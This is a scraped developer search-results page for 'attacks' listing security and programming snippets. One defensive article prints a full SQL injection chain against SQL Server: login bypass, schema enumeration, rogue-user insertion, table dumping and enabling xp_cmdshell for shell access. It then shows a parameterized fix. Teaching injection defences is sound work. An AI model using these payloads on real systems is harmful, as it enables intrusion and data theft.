Search Results

Search found 544 results on 22 pages for 'attacks'.

Page 8/22 | < Previous Page | 4 5 6 7 8 9 10 11 12 13 14 15  | Next Page >

  • Using Dynamic SQL in Stored Procedures

    Dynamic SQL allows stored procedures to “write” or dynamically generate their SQL statements. The most common use case for dynamic SQL is stored procedures with optional parameters in the WHERE clause. These are typically called from reports or screens that have multiple, optional search criteria. This article describes how to write these types of stored procedures so they execute well and resist SQL injection attacks.

    Read the article

  • Securing Microsoft Silverlight Applications

    Come hear how to protect Silverlight applications from common threats, including securing your application from intruders, eavesdroppers, and users as well as protecting your code, your data, and your servers from attacks. Also, hear about the key security vectors that must be considered when using Silverlight, such as securing applications that often live outside firewalls....Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

    Read the article

  • SQL Server SQL Injection from start to end

    - by Mladen Prajdic
    SQL injection is a method by which a hacker gains access to the database server by injecting specially formatted data through the user interface input fields. In the last few years we have witnessed a huge increase in the number of reported SQL injection attacks, many of which caused a great deal of damage. A SQL injection attack takes many guises, but the underlying method is always the same. The specially formatted data starts with an apostrophe (') to end the string column (usually username) check, continues with malicious SQL, and then ends with the SQL comment mark (--) in order to comment out the full original SQL that was intended to be submitted. The really advanced methods use binary or encoded text inputs instead of clear text. SQL injection vulnerabilities are often thought to be a database server problem. In reality they are a pure application design problem, generally resulting from unsafe techniques for dynamically constructing SQL statements that require user input. It also doesn't help that many web pages allow SQL Server error messages to be exposed to the user, having no input clean up or validation, allowing applications to connect with elevated (e.g. sa) privileges and so on. Usually that's caused by novice developers who just copy-and-paste code found on the internet without understanding the possible consequences. The first line of defense is to never let your applications connect via an admin account like sa. This account has full privileges on the server and so you virtually give the attacker open access to all your databases, servers, and network. The second line of defense is never to expose SQL Server error messages to the end user. Finally, always use safe methods for building dynamic SQL, using properly parameterized statements. Hopefully, all of this will be clearly demonstrated as we demonstrate two of the most common ways that enable SQL injection attacks, and how to remove the vulnerability. 1) Concatenating SQL statements on the client by hand 2) Using parameterized stored procedures but passing in parts of SQL statements As will become clear, SQL Injection vulnerabilities cannot be solved by simple database refactoring; often, both the application and database have to be redesigned to solve this problem. Concatenating SQL statements on the client This problem is caused when user-entered data is inserted into a dynamically-constructed SQL statement, by string concatenation, and then submitted for execution. Developers often think that some method of input sanitization is the solution to this problem, but the correct solution is to correctly parameterize the dynamic SQL. In this simple example, the code accepts a username and password and, if the user exists, returns the requested data. First the SQL code is shown that builds the table and test data then the C# code with the actual SQL Injection example from beginning to the end. The comments in code provide information on what actually happens. /* SQL CODE *//* Users table holds usernames and passwords and is the object of out hacking attempt */CREATE TABLE Users( UserId INT IDENTITY(1, 1) PRIMARY KEY , UserName VARCHAR(50) , UserPassword NVARCHAR(10))/* Insert 2 users */INSERT INTO Users(UserName, UserPassword)SELECT 'User 1', 'MyPwd' UNION ALLSELECT 'User 2', 'BlaBla' Vulnerable C# code, followed by a progressive SQL injection attack. /* .NET C# CODE *//*This method checks if a user exists. It uses SQL concatination on the client, which is susceptible to SQL injection attacks*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=YourServerName; database=tempdb; Integrated Security=SSPI;")) { /* This is the SQL string you usually see with novice developers. It returns a row if a user exists and no rows if it doesn't */ string sql = "SELECT * FROM Users WHERE UserName = '" + username + "' AND UserPassword = '" + password + "'"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists != "0"; } }}/*The SQL injection attack example. Username inputs should be run one after the other, to demonstrate the attack pattern.*/string username = "User 1";string password = "MyPwd";// See if we can even use SQL injection.// By simply using this we can log into the application username = "' OR 1=1 --";// What follows is a step-by-step guessing game designed // to find out column names used in the query, via the // error messages. By using GROUP BY we will get // the column names one by one.// First try the Idusername = "' GROUP BY Id HAVING 1=1--";// We get the SQL error: Invalid column name 'Id'.// From that we know that there's no column named Id. // Next up is UserIDusername = "' GROUP BY Users.UserId HAVING 1=1--";// AHA! here we get the error: Column 'Users.UserName' is // invalid in the SELECT list because it is not contained // in either an aggregate function or the GROUP BY clause.// We have guessed correctly that there is a column called // UserId and the error message has kindly informed us of // a table called Users with a column called UserName// Now we add UserName to our GROUP BYusername = "' GROUP BY Users.UserId, Users.UserName HAVING 1=1--";// We get the same error as before but with a new column // name, Users.UserPassword// Repeat this pattern till we have all column names that // are being return by the query.// Now we have to get the column data types. One non-string // data type is all we need to wreck havoc// Because 0 can be implicitly converted to any data type in SQL server we use it to fill up the UNION.// This can be done because we know the number of columns the query returns FROM our previous hacks.// Because SUM works for UserId we know it's an integer type. It doesn't matter which exactly.username = "' UNION SELECT SUM(Users.UserId), 0, 0 FROM Users--";// SUM() errors out for UserName and UserPassword columns giving us their data types:// Error: Operand data type varchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserName) FROM Users--";// Error: Operand data type nvarchar is invalid for SUM operator.username = "' UNION SELECT SUM(Users.UserPassword) FROM Users--";// Because we know the Users table structure we can insert our data into itusername = "'; INSERT INTO Users(UserName, UserPassword) SELECT 'Hacker user', 'Hacker pwd'; --";// Next let's get the actual data FROM the tables.// There are 2 ways you can do this.// The first is by using MIN on the varchar UserName column and // getting the data from error messages one by one like this:username = "' UNION SELECT min(UserName), 0, 0 FROM Users --";username = "' UNION SELECT min(UserName), 0, 0 FROM Users WHERE UserName > 'User 1'--";// we can repeat this method until we get all data one by one// The second method gives us all data at once and we can use it as soon as we find a non string columnusername = "' UNION SELECT (SELECT * FROM Users FOR XML RAW) as c1, 0, 0 --";// The error we get is: // Conversion failed when converting the nvarchar value // '<row UserId="1" UserName="User 1" UserPassword="MyPwd"/>// <row UserId="2" UserName="User 2" UserPassword="BlaBla"/>// <row UserId="3" UserName="Hacker user" UserPassword="Hacker pwd"/>' // to data type int.// We can see that the returned XML contains all table data including our injected user account.// By using the XML trick we can get any database or server info we wish as long as we have access// Some examples:// Get info for all databasesusername = "' UNION SELECT (SELECT name, dbid, convert(nvarchar(300), sid) as sid, cmptlevel, filename FROM master..sysdatabases FOR XML RAW) as c1, 0, 0 --";// Get info for all tables in master databaseusername = "' UNION SELECT (SELECT * FROM master.INFORMATION_SCHEMA.TABLES FOR XML RAW) as c1, 0, 0 --";// If that's not enough here's a way the attacker can gain shell access to your underlying windows server// This can be done by enabling and using the xp_cmdshell stored procedure// Enable xp_cmdshellusername = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;";// Create a table to store the values returned by xp_cmdshellusername = "'; CREATE TABLE ShellHack (ShellData NVARCHAR(MAX))--";// list files in the current SQL Server directory with xp_cmdshell and store it in ShellHack table username = "'; INSERT INTO ShellHack EXEC xp_cmdshell \"dir\"--";// return the data via an error messageusername = "' UNION SELECT (SELECT * FROM ShellHack FOR XML RAW) as c1, 0, 0; --";// delete the table to get clean output (this step is optional)username = "'; DELETE ShellHack; --";// repeat the upper 3 statements to do other nasty stuff to the windows server// If the returned XML is larger than 8k you'll get the "String or binary data would be truncated." error// To avoid this chunk up the returned XML using paging techniques. // the username and password params come from the GUI textboxes.bool userExists = DoesUserExist(username, password ); Having demonstrated all of the information a hacker can get his hands on as a result of this single vulnerability, it's perhaps reassuring to know that the fix is very easy: use parameters, as show in the following example. /* The fixed C# method that doesn't suffer from SQL injection because it uses parameters.*/private bool DoesUserExist(string username, string password){ using (SqlConnection conn = new SqlConnection(@"server=baltazar\sql2k8; database=tempdb; Integrated Security=SSPI;")) { //This is the version of the SQL string that should be safe from SQL injection string sql = "SELECT * FROM Users WHERE UserName = @username AND UserPassword = @password"; SqlCommand cmd = conn.CreateCommand(); cmd.CommandText = sql; cmd.CommandType = CommandType.Text; // adding 2 SQL Parameters solves the SQL injection issue completely SqlParameter usernameParameter = new SqlParameter(); usernameParameter.ParameterName = "@username"; usernameParameter.DbType = DbType.String; usernameParameter.Value = username; cmd.Parameters.Add(usernameParameter); SqlParameter passwordParameter = new SqlParameter(); passwordParameter.ParameterName = "@password"; passwordParameter.DbType = DbType.String; passwordParameter.Value = password; cmd.Parameters.Add(passwordParameter); cmd.Connection.Open(); DataSet dsResult = new DataSet(); /* If a user doesn't exist the cmd.ExecuteScalar() returns null; this is just to simplify the example; you can use other Execute methods too */ string userExists = (cmd.ExecuteScalar() ?? "0").ToString(); return userExists == "1"; }} We have seen just how much danger we're in, if our code is vulnerable to SQL Injection. If you find code that contains such problems, then refactoring is not optional; it simply has to be done and no amount of deadline pressure should be a reason not to do it. Better yet, of course, never allow such vulnerabilities into your code in the first place. Your business is only as valuable as your data. If you lose your data, you lose your business. Period. Incorrect parameterization in stored procedures It is a common misconception that the mere act of using stored procedures somehow magically protects you from SQL Injection. There is no truth in this rumor. If you build SQL strings by concatenation and rely on user input then you are just as vulnerable doing it in a stored procedure as anywhere else. This anti-pattern often emerges when developers want to have a single "master access" stored procedure to which they'd pass a table name, column list or some other part of the SQL statement. This may seem like a good idea from the viewpoint of object reuse and maintenance but it's a huge security hole. The following example shows what a hacker can do with such a setup. /*Create a single master access stored procedure*/CREATE PROCEDURE spSingleAccessSproc( @select NVARCHAR(500) = '' , @tableName NVARCHAR(500) = '' , @where NVARCHAR(500) = '1=1' , @orderBy NVARCHAR(500) = '1')ASEXEC('SELECT ' + @select + ' FROM ' + @tableName + ' WHERE ' + @where + ' ORDER BY ' + @orderBy)GO/*Valid use as anticipated by a novice developer*/EXEC spSingleAccessSproc @select = '*', @tableName = 'Users', @where = 'UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = 'UserID'/*Malicious use SQL injectionThe SQL injection principles are the same aswith SQL string concatenation I described earlier,so I won't repeat them again here.*/EXEC spSingleAccessSproc @select = '* FROM INFORMATION_SCHEMA.TABLES FOR XML RAW --', @tableName = '--Users', @where = '--UserName = ''User 1'' AND UserPassword = ''MyPwd''', @orderBy = '--UserID' One might think that this is a "made up" example but in all my years of reading SQL forums and answering questions there were quite a few people with "brilliant" ideas like this one. Hopefully I've managed to demonstrate the dangers of such code. Even if you think your code is safe, double check. If there's even one place where you're not using proper parameterized SQL you have vulnerability and SQL injection can bare its ugly teeth.

    Read the article

  • How to develop RPG Damage Formulas?

    - by user127817
    I'm developing a classical 2d RPG (in a similar vein to final fantasy) and I was wondering if anyone had some advice on how to do damage formulas/links to resources/examples? I'll explain my current setup. Hopefully I'm not overdoing it with this question, and I apologize if my questions is too large/broad My Characters stats are composed of the following: enum Stat { HP = 0, MP = 1, SP = 2, Strength = 3, Vitality = 4, Magic = 5, Spirit = 6, Skill = 7, Speed = 8, //Speed/Agility are the same thing Agility = 8, Evasion = 9, MgEvasion = 10, Accuracy = 11, Luck = 12, }; Vitality is basically defense to physical attacks and spirit is defense to magic attacks. All stats have fixed maximums (9999 for HP, 999 for MP/SP and 255 for the rest). With abilities, the maximums can be increased (99999 for HP, 9999 for HP/SP, 999 for the rest) with typical values (at level 100) before/after abilities+equipment+etc will be 8000/20,000 for HP, 800/2000 for SP/MP, 180/350 for other stats Late game Enemy HP will typically be in the lower millions (with a super boss having the maximum of ~12 million). I was wondering how do people actually develop proper damage formulas that scale correctly? For instance, based on this data, using the damage formulas for Final Fantasy X as a base looked very promising. A full reference here http://www.gamefaqs.com/ps2/197344-final-fantasy-x/faqs/31381 but as a quick example: Str = 127, 'Attack' command used, enemy Def = 34. 1. Physical Damage Calculation: Step 1 ------------------------------------- [{(Stat^3 ÷ 32) + 32} x DmCon ÷16] Step 2 ---------------------------------------- [{(127^3 ÷ 32) + 32} x 16 ÷ 16] Step 3 -------------------------------------- [{(2048383 ÷ 32) + 32} x 16 ÷ 16] Step 4 --------------------------------------------------- [{(64011) + 32} x 1] Step 5 -------------------------------------------------------- [{(64043 x 1)}] Step 6 ---------------------------------------------------- Base Damage = 64043 Step 7 ----------------------------------------- [{(Def - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------ [{(34 - 280.4)^2} ÷ 110] + 16 Step 9 ------------------------------------------------- [(-246)^2) ÷ 110] + 16 Step 10 ---------------------------------------------------- [60516 ÷ 110] + 16 Step 11 ------------------------------------------------------------ [550] + 16 Step 12 ---------------------------------------------------------- DefNum = 566 Step 13 ---------------------------------------------- [BaseDmg * DefNum ÷ 730] Step 14 --------------------------------------------------- [64043 * 566 ÷ 730] Step 15 ------------------------------------------------------ [36248338 ÷ 730] Step 16 ------------------------------------------------- Base Damage 2 = 49655 Step 17 ------------ Base Damage 2 * {730 - (Def * 51 - Def^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ---------------------- 49655 * {730 - (34 * 51 - 34^2 ÷ 11) ÷ 10} ÷ 730 Step 19 ------------------------- 49655 * {730 - (1734 - 1156 ÷ 11) ÷ 10} ÷ 730 Step 20 ------------------------------- 49655 * {730 - (1734 - 105) ÷ 10} ÷ 730 Step 21 ------------------------------------- 49655 * {730 - (1629) ÷ 10} ÷ 730 Step 22 --------------------------------------------- 49655 * {730 - 162} ÷ 730 Step 23 ----------------------------------------------------- 49655 * 568 ÷ 730 Step 24 -------------------------------------------------- Final Damage = 38635 I simply modified the dividers to include the attack rating of weapons and the armor rating of armor. Magic Damage is calculated as follows: Mag = 255, Ultima is used, enemy MDef = 1 Step 1 ----------------------------------- [DmCon * ([Stat^2 ÷ 6] + DmCon) ÷ 4] Step 2 ------------------------------------------ [70 * ([255^2 ÷ 6] + 70) ÷ 4] Step 3 ------------------------------------------ [70 * ([65025 ÷ 6] + 70) ÷ 4] Step 4 ------------------------------------------------ [70 * (10837 + 70) ÷ 4] Step 5 ----------------------------------------------------- [70 * (10907) ÷ 4] Step 6 ------------------------------------ Base Damage = 190872 [cut to 99999] Step 7 ---------------------------------------- [{(MDef - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------- [{(1 - 280.4)^2} ÷ 110] + 16 Step 9 ---------------------------------------------- [{(-279.4)^2} ÷ 110] + 16 Step 10 -------------------------------------------------- [(78064) ÷ 110] + 16 Step 11 ------------------------------------------------------------ [709] + 16 Step 12 --------------------------------------------------------- MDefNum = 725 Step 13 --------------------------------------------- [BaseDmg * MDefNum ÷ 730] Step 14 --------------------------------------------------- [99999 * 725 ÷ 730] Step 15 ------------------------------------------------- Base Damage 2 = 99314 Step 16 ---------- Base Damage 2 * {730 - (MDef * 51 - MDef^2 ÷ 11) ÷ 10} ÷ 730 Step 17 ------------------------ 99314 * {730 - (1 * 51 - 1^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ------------------------------ 99314 * {730 - (51 - 1 ÷ 11) ÷ 10} ÷ 730 Step 19 --------------------------------------- 99314 * {730 - (49) ÷ 10} ÷ 730 Step 20 ----------------------------------------------------- 99314 * 725 ÷ 730 Step 21 -------------------------------------------------- Final Damage = 98633 The problem is that the formulas completely fall apart once stats start going above 255. In particular Defense values over 300 or so start generating really strange behavior. High Strength + Defense stats lead to massive negative values for instance. While I might be able to modify the formulas to work correctly for my use case, it'd probably be easier just to use a completely new formula. How do people actually develop damage formulas? I was considering opening excel and trying to build the formula that way (mapping Attack Stats vs. Defense Stats for instance) but I was wondering if there's an easier way? While I can't convey the full game mechanics of my game here, might someone be able to suggest a good starting place for building a damage formula? Thanks

    Read the article

  • How to develop RPG Damage Formulas?

    - by user127817
    I'm developing a classical 2d RPG (in a similar vein to final fantasy) and I was wondering if anyone had some advice on how to do damage formulas/links to resources/examples? I'll explain my current setup. Hopefully I'm not overdoing it with this question, and I apologize if my questions is too large/broad My Characters stats are composed of the following: enum Stat { HP = 0, MP = 1, SP = 2, Strength = 3, Vitality = 4, Magic = 5, Spirit = 6, Skill = 7, Speed = 8, //Speed/Agility are the same thing Agility = 8, Evasion = 9, MgEvasion = 10, Accuracy = 11, Luck = 12, }; Vitality is basically defense to physical attacks and spirit is defense to magic attacks. All stats have fixed maximums (9999 for HP, 999 for MP/SP and 255 for the rest). With abilities, the maximums can be increased (99999 for HP, 9999 for HP/SP, 999 for the rest) with typical values (at level 100) before/after abilities+equipment+etc will be 8000/20,000 for HP, 800/2000 for SP/MP, 180/350 for other stats Late game Enemy HP will typically be in the lower millions (with a super boss having the maximum of ~12 million). I was wondering how do people actually develop proper damage formulas that scale correctly? For instance, based on this data, using the damage formulas for Final Fantasy X as a base looked very promising. A full reference here http://www.gamefaqs.com/ps2/197344-final-fantasy-x/faqs/31381 but as a quick example: Str = 127, 'Attack' command used, enemy Def = 34. 1. Physical Damage Calculation: Step 1 ------------------------------------- [{(Stat^3 ÷ 32) + 32} x DmCon ÷16] Step 2 ---------------------------------------- [{(127^3 ÷ 32) + 32} x 16 ÷ 16] Step 3 -------------------------------------- [{(2048383 ÷ 32) + 32} x 16 ÷ 16] Step 4 --------------------------------------------------- [{(64011) + 32} x 1] Step 5 -------------------------------------------------------- [{(64043 x 1)}] Step 6 ---------------------------------------------------- Base Damage = 64043 Step 7 ----------------------------------------- [{(Def - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------ [{(34 - 280.4)^2} ÷ 110] + 16 Step 9 ------------------------------------------------- [(-246)^2) ÷ 110] + 16 Step 10 ---------------------------------------------------- [60516 ÷ 110] + 16 Step 11 ------------------------------------------------------------ [550] + 16 Step 12 ---------------------------------------------------------- DefNum = 566 Step 13 ---------------------------------------------- [BaseDmg * DefNum ÷ 730] Step 14 --------------------------------------------------- [64043 * 566 ÷ 730] Step 15 ------------------------------------------------------ [36248338 ÷ 730] Step 16 ------------------------------------------------- Base Damage 2 = 49655 Step 17 ------------ Base Damage 2 * {730 - (Def * 51 - Def^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ---------------------- 49655 * {730 - (34 * 51 - 34^2 ÷ 11) ÷ 10} ÷ 730 Step 19 ------------------------- 49655 * {730 - (1734 - 1156 ÷ 11) ÷ 10} ÷ 730 Step 20 ------------------------------- 49655 * {730 - (1734 - 105) ÷ 10} ÷ 730 Step 21 ------------------------------------- 49655 * {730 - (1629) ÷ 10} ÷ 730 Step 22 --------------------------------------------- 49655 * {730 - 162} ÷ 730 Step 23 ----------------------------------------------------- 49655 * 568 ÷ 730 Step 24 -------------------------------------------------- Final Damage = 38635 I simply modified the dividers to include the attack rating of weapons and the armor rating of armor. Magic Damage is calculated as follows: Mag = 255, Ultima is used, enemy MDef = 1 Step 1 ----------------------------------- [DmCon * ([Stat^2 ÷ 6] + DmCon) ÷ 4] Step 2 ------------------------------------------ [70 * ([255^2 ÷ 6] + 70) ÷ 4] Step 3 ------------------------------------------ [70 * ([65025 ÷ 6] + 70) ÷ 4] Step 4 ------------------------------------------------ [70 * (10837 + 70) ÷ 4] Step 5 ----------------------------------------------------- [70 * (10907) ÷ 4] Step 6 ------------------------------------ Base Damage = 190872 [cut to 99999] Step 7 ---------------------------------------- [{(MDef - 280.4)^2} ÷ 110] + 16 Step 8 ------------------------------------------- [{(1 - 280.4)^2} ÷ 110] + 16 Step 9 ---------------------------------------------- [{(-279.4)^2} ÷ 110] + 16 Step 10 -------------------------------------------------- [(78064) ÷ 110] + 16 Step 11 ------------------------------------------------------------ [709] + 16 Step 12 --------------------------------------------------------- MDefNum = 725 Step 13 --------------------------------------------- [BaseDmg * MDefNum ÷ 730] Step 14 --------------------------------------------------- [99999 * 725 ÷ 730] Step 15 ------------------------------------------------- Base Damage 2 = 99314 Step 16 ---------- Base Damage 2 * {730 - (MDef * 51 - MDef^2 ÷ 11) ÷ 10} ÷ 730 Step 17 ------------------------ 99314 * {730 - (1 * 51 - 1^2 ÷ 11) ÷ 10} ÷ 730 Step 18 ------------------------------ 99314 * {730 - (51 - 1 ÷ 11) ÷ 10} ÷ 730 Step 19 --------------------------------------- 99314 * {730 - (49) ÷ 10} ÷ 730 Step 20 ----------------------------------------------------- 99314 * 725 ÷ 730 Step 21 -------------------------------------------------- Final Damage = 98633 The problem is that the formulas completely fall apart once stats start going above 255. In particular Defense values over 300 or so start generating really strange behavior. High Strength + Defense stats lead to massive negative values for instance. While I might be able to modify the formulas to work correctly for my use case, it'd probably be easier just to use a completely new formula. How do people actually develop damage formulas? I was considering opening excel and trying to build the formula that way (mapping Attack Stats vs. Defense Stats for instance) but I was wondering if there's an easier way? While I can't convey the full game mechanics of my game here, might someone be able to suggest a good starting place for building a damage formula? Thanks

    Read the article

  • PHP $_SERVER['HTTP_HOST'] vs. $_SERVER['SERVER_NAME'], am I understanding the man pages correctly?

    - by Jeff
    I did a lot of searching and also read the PHP $_SERVER man page. Do I have this right regarding which to use for my PHP scripts for simple link definitions used throughout my site? $_SERVER['SERVER_NAME'] is based on your web servers' config file (Apache2 in my case), and varies depending on a few directives: (1) VirtualHost, (2) ServerName, (3) UseCanonicalName, etc. $_SERVER['HTTP_HOST'] is based on the request from the client. Therefore, it would seem to me that the proper one to use in order to make my scripts as compatible as possible would be $_SERVER['HTTP_HOST']. Is this assumption correct? Followup comments: I guess I got a little paranoid after reading this article and noting that someone said "they wouldn't trust any of the $_SERVER vars": http://markjaquith.wordpress.com/2009/09/21/php-server-vars-not-safe-in-forms-or-links/ and also: http://www.php.net/manual/en/reserved.variables.server.php (comment: Vladimir Kornea 14-Mar-2009 01:06) Apparently the discussion is mainly about $_SERVER['PHP_SELF'] and why you shouldn't use it in the form action attribute without proper escaping to prevent XSS attacks. My conclusion about my original question above is that it is "safe" to use $_SERVER['HTTP_HOST'] for all links on a site without having to worry about XSS attacks, even when used in forms. Please correct me if I'm wrong.

    Read the article

  • When is it safe to use a broken hash function?

    - by The Rook
    It is trivial to use a secure hash function like SHA256 and continuing to use md5 is reckless behavior. However, there are some complexities to hash function vulnerabilities that I would like to better understand. Collisions have been generated for md4 and md5. According to NIST md5() is not a secure hash function. It only takes 2^39th operations to generate a collision and should never be used for passwords. However SHA1 is vulnerable to a similar collision attack in which a collision can be found in 2^69 operations, where as brute force is 2^80th. No one has generated a sha1 collision and NIST still lists sha1 as a secure message digest function. So when is it safe to use a broken hash function? Even though a function is broken it can still be "big enough". According to Schneier a hash function vulnerable to a collsion attack can still be used as an HMAC. I believe this is because the security of an HMAC is Dependant on its secret key and a collision cannot be found until this key is obtained. Once you have the key used in a HMAC its already broken, so its a moot point. What hash function vulnerabilities would undermine the security of an HMAC? Lets take this property a bit further. Does it then become safe to use a very weak message digest like md4 for passwords if a salt is perpended to the password? Keep in mind the md4 and md5 attacks are prefixing attacks, and if a salt is perpended then an attacker cannot control the prefix of the message. If the salt is truly a secret, and isn't known to the attacker, then does it matter if its a appended to the end of the password? Is it safe to assume that an attacker cannot generate a collision until the entire message has been obtained? Do you know of other cases where a broken hash function can be used in a security context without introducing a vulnerability? (Please post supporting evidence because it is awesome!)

    Read the article

  • iPhone application purchase verification -- possible?

    - by Sedate Alien
    The iPhone 3.0 SDK's StoreKit.framework provides support for in-app purchases to give the user additional content, functionality and so on. It is possible for an app to send the transactionReceipt property of SKPaymentTransaction objects to the developer's server for verification of successful purchasing before granting service. Is there any analogous SDK to verify the initial application purchase itself? A developer that wishes for their server to only provide services to genuine applications (i.e. not pirated) without using IAP could do so by verifying the application in this manner, e.g. ensure that only users with the correct transactionReceipt are catered for. I understand that this approach would still be vulnerable to replay attacks; a dedicated group of pirates could share a valid transactionReceipt. However, my server provides a consumable service to users, i.e. once they've connected and done the work, it needn't work a second time so replay attacks are nullified. The service that my app provides is relatively niche. I could distribute it on the App Store as a free application that requires at least one IAP to do anything useful, but I am lead to believe that this would be a very unpopular move among users as it would be considered misleading. If I distribute it as a paid app, I do not know how to ensure that only genuine apps can access the webservice. This is important as every invocation of the webservice costs me money! What are my options?

    Read the article

  • Is it legal to sell this kind of software?

    - by Ivan
    Hi, I 've developed a software that automates an online game similar to oGame. You just plan your attacks or whatever and the application sends them automatically. The application is illegal inside the game (I mean, it's not allowed to use this kind of applications in that game), but I'd like to know if it is legal to sell it to users without getting in trouble with the company that owns the game. Thanks in advance, Ivan

    Read the article

  • Looking for a SECURE Audio Player for Windows

    - by Avery Payne
    I know there are dozens of audio players for windows, but which one has: the best security record (least reported vulnerabilities) the least number of security exploits the best security implementation, along with the reasoning behind the implementaiton (i.e. how it is handled). As Windows users start to see more and more reports of media-based attacks against Windows Media Player (& co.) it would be useful to have a player that has some proactive security approaches to handling exploits.

    Read the article

  • Securing against DDoS

    - by gAMBOOKa
    My client would like to have his eCommerce (custom-made) site secured from DDoS attacks. What strategies can I implement? There are multiple forms in the purchasing flow --- searching, drilling-down to the product, user information and payment and I want to avoid captchas.

    Read the article

  • Using gmail as your primary mail server

    - by Saif Bechan
    I have read that there is an option of using Gmail as your primary mail server. In the sense that you can add mx records etc and you do not have to do it on your own server. Do you think this is a recommended setup in terms of security. Will Gmail do the fight against virusses, spam, and brute force attacks for you?

    Read the article

  • Data Execution Prevention in Windows Live Messenger

    - by Andrija
    I keep getting "Data Execution Prevention" error in Windows Live Messenger. I have noticed that this is happening usually when I leave computer to get coffee, and screensaver comes up, WLM breaks. Is there any way to prevent this error from happening? I see I can turn off this "Data Execution Prevention", but is that safe, since I know that WLM is under heavy attacks from spammers/hackers? Thanks

    Read the article

  • What is the best Web Application Firewall for IIS?

    - by user30850
    What is the best Web Application Firewall(WAF) for IIS? What makes it better than the others? How useful is it at blocking attacks against poorly written code, otherwise known as an Intrusion Prevention System (IPS)? WAFs are required by the PCI-DSS, so if I have to get one, then it should the best one.

    Read the article

  • Why do server administrators not open up IMAP on an Exchange server?

    - by Jon
    In a corporate environment running Exchange and Outlook clients connecting to it why do server administrators not allow IMAP to be turned on for those that would like to connect to the server using IMAP? I'm assuming the simple answer is port attacks and please excuse my naivety but does Exchange not suffer the same problems or is it because its behind the firewall and within the corporate network?

    Read the article

  • IDS for Windows Server 2008?

    - by Ramaz
    I am sure my Windows Server 2008 box is constantly under attack both at the network level and web application level. QUestion is How do i detect these attacks? is there any light-weight software available? which can monitor the server? Note I am running this on a VPS so the monitor program will have to run on the same server.

    Read the article

  • am i properly setting this up correctly? [closed]

    - by codrgii
    i'm having a problem with mod_security. I have installed it, but i am not sure on how to make the rules for it, i want the rules to prevent all major attacks like cross site scripting, remote file inclusion etc i'm using mod security 2.6.5, apache 2.2 with php 5.3.10. i went to this site http://www.gotroot.com/mod_security+rules but i am not sure how to set up the rules or which one to use, or how i add them properly in httpd.conf, would someone please explain the process and also recommend rules for someone in my position?

    Read the article

  • How do you protect your <appid>.appspot.com domain from DDOS attack?

    - by jacob
    If I want to use CloudFlare to help protect my GAE app via it's custom domain, I still am vulnerable to attacks directly on the .appspot.com domain. How do I mitigate that? I could force redirect appspot.com host requests, such as discussed here: http://stackoverflow.com/questions/1364733/block-requests-from-appspot-com-and-force-custom-domain-in-google-app-engine/ But I would still suffer the load of processing the redirect in my app. Are there any other solutions?

    Read the article

< Previous Page | 4 5 6 7 8 9 10 11 12 13 14 15  | Next Page >